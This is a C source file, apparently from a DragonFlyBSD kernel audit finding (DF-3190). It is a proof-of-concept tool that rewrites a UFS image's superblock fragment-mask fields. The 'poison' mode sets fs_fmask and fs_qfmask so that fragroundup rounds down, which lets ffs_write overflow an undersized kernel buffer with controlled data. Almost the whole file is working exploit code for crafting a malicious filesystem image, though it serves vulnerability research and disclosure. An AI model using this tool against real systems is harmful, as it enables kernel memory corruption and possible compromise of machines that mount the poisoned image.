⬢ DragonFlyBSD Kernel Audit
DF-3190 / sbxtool.c
← back to finding ↓ download raw
/*
 * sbxtool.c — DF-3190 superblock fragment-mask patcher (root, guest).
 *
 * ffs_balloc()/ffs_write() derive kernel buffer sizes from the on-disk
 * superblock's fragment-mask fields via
 *
 *	fragroundup(fs, size)  ==  ((size) + fs->fs_qfmask) & fs->fs_fmask
 *
 * (sys/vfs/ufs/fs.h).  Neither field is validated at mount time
 * (ffs_mountfs checks only fs_magic and the fs_bsize range,
 * ffs_vfsops.c:641-646; ffs_oldfscompat only touches them for
 * pre-4.4-inode-format filesystems).  With fs_fmask / fs_qfmask chosen
 * so the expression ROUNDS DOWN, ffs_balloc returns a buffer smaller
 * than the number of bytes ffs_write is about to uiomove() into it.
 *
 * "poison" computes, from the image's own geometry:
 *	fs_fmask  = fs_bsize/2 - 1	(for bsize=16384: 0x1fff)
 *	fs_qfmask = fs_fsize		(for fsize=2048:  0x800)
 * giving fragroundup(fs_bsize) == fs_fsize (one fragment) while the
 * caller writes fs_bsize bytes — an undersized VMIO buffer and a
 * fs_bsize-byte controlled write into it.
 *
 * usage:
 *	sbxtool <image> info
 *	sbxtool <image> poison
 *	sbxtool <image> fmask  <hex32>
 *	sbxtool <image> qfmask <hex64>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <stddef.h>
#include <sys/types.h>

typedef int32_t ufs_time_t;
typedef int32_t ufs_daddr_t;
#define _KERNEL_STRUCTURES
#define MAXFRAG 8
#include "fs.h"

static const struct { off_t off; uint32_t magic; } sbs[] = {
	{ 8192,  FS_MAGIC },		/* UFS1 sblkno=16, fsize=512 */
	{ 65536, FS_MAGIC },
	{ 8192,  0x19540119 },		/* UFS2 magic */
	{ 65536, 0x19540119 },
};

static void
loadsb(int fd, struct fs *fsb, off_t *sbpos)
{
	unsigned i;

	for (i = 0; i < sizeof(sbs)/sizeof(sbs[0]); i++) {
		if (pread(fd, fsb, sizeof(*fsb), sbs[i].off) != sizeof(*fsb))
			continue;
		if (fsb->fs_magic == sbs[i].magic) {
			*sbpos = sbs[i].off;
			return;
		}
	}
	errx(1, "no superblock found");
}

static void
printsb(const char *tag, const struct fs *fsb)
{
	printf("[%s] bsize=%ld fsize=%ld frag=%d bshift=%d fshift=%d "
	    "fragshift=%d\n", tag, (long)fsb->fs_bsize, (long)fsb->fs_fsize,
	    fsb->fs_frag, fsb->fs_bshift, fsb->fs_fshift, fsb->fs_fragshift);
	printf("[%s] bmask=%08x fmask=%08x qbmask=%016llx qfmask=%016llx "
	    "sbsize=%d nindir=%d\n", tag, fsb->fs_bmask, fsb->fs_fmask,
	    (unsigned long long)fsb->fs_qbmask,
	    (unsigned long long)fsb->fs_qfmask, fsb->fs_sbsize,
	    fsb->fs_nindir);
}

int
main(int argc, char **argv)
{
	struct fs fsb;
	off_t sbpos;
	int fd;

	if (argc < 3) {
		fprintf(stderr, "usage: sbxtool img "
		    "{info|poison|fmask hex32|qfmask hex64}\n");
		return (2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0)
		err(1, "open %s", argv[1]);
	loadsb(fd, &fsb, &sbpos);
	printsb("sb-before", &fsb);

	if (!strcmp(argv[2], "info")) {
		/* nothing */
	} else if (!strcmp(argv[2], "poison")) {
		uint32_t fmask = (uint32_t)fsb.fs_bsize / 2 - 1;
		uint64_t qfmask = (uint64_t)fsb.fs_fsize;

		printf("[*] poisoning: fmask=%08x qfmask=%llx "
		    "(fragroundup(bsize=%ld) -> %ld; caller writes %ld)\n",
		    fmask, (unsigned long long)qfmask,
		    (long)fsb.fs_bsize,
		    (long)((fsb.fs_bsize + qfmask) & fmask),
		    (long)fsb.fs_bsize);
		if (pwrite(fd, &fmask, 4, sbpos + offsetof(struct fs,
		    fs_fmask)) != 4)
			err(1, "pwrite fmask");
		if (pwrite(fd, &qfmask, 8, sbpos + offsetof(struct fs,
		    fs_qfmask)) != 8)
			err(1, "pwrite qfmask");
	} else if (argc == 4 && !strcmp(argv[2], "fmask")) {
		uint32_t v = (uint32_t)strtoul(argv[3], NULL, 0);
		if (pwrite(fd, &v, 4, sbpos + offsetof(struct fs,
		    fs_fmask)) != 4)
			err(1, "pwrite fmask");
	} else if (argc == 4 && !strcmp(argv[2], "qfmask")) {
		uint64_t v = (uint64_t)strtoull(argv[3], NULL, 0);
		if (pwrite(fd, &v, 8, sbpos + offsetof(struct fs,
		    fs_qfmask)) != 8)
			err(1, "pwrite qfmask");
	} else {
		fprintf(stderr, "bad args\n");
		return (2);
	}

	lseek(fd, 0, SEEK_SET);
	loadsb(fd, &fsb, &sbpos);
	printsb("sb-after ", &fsb);
	return (0);
}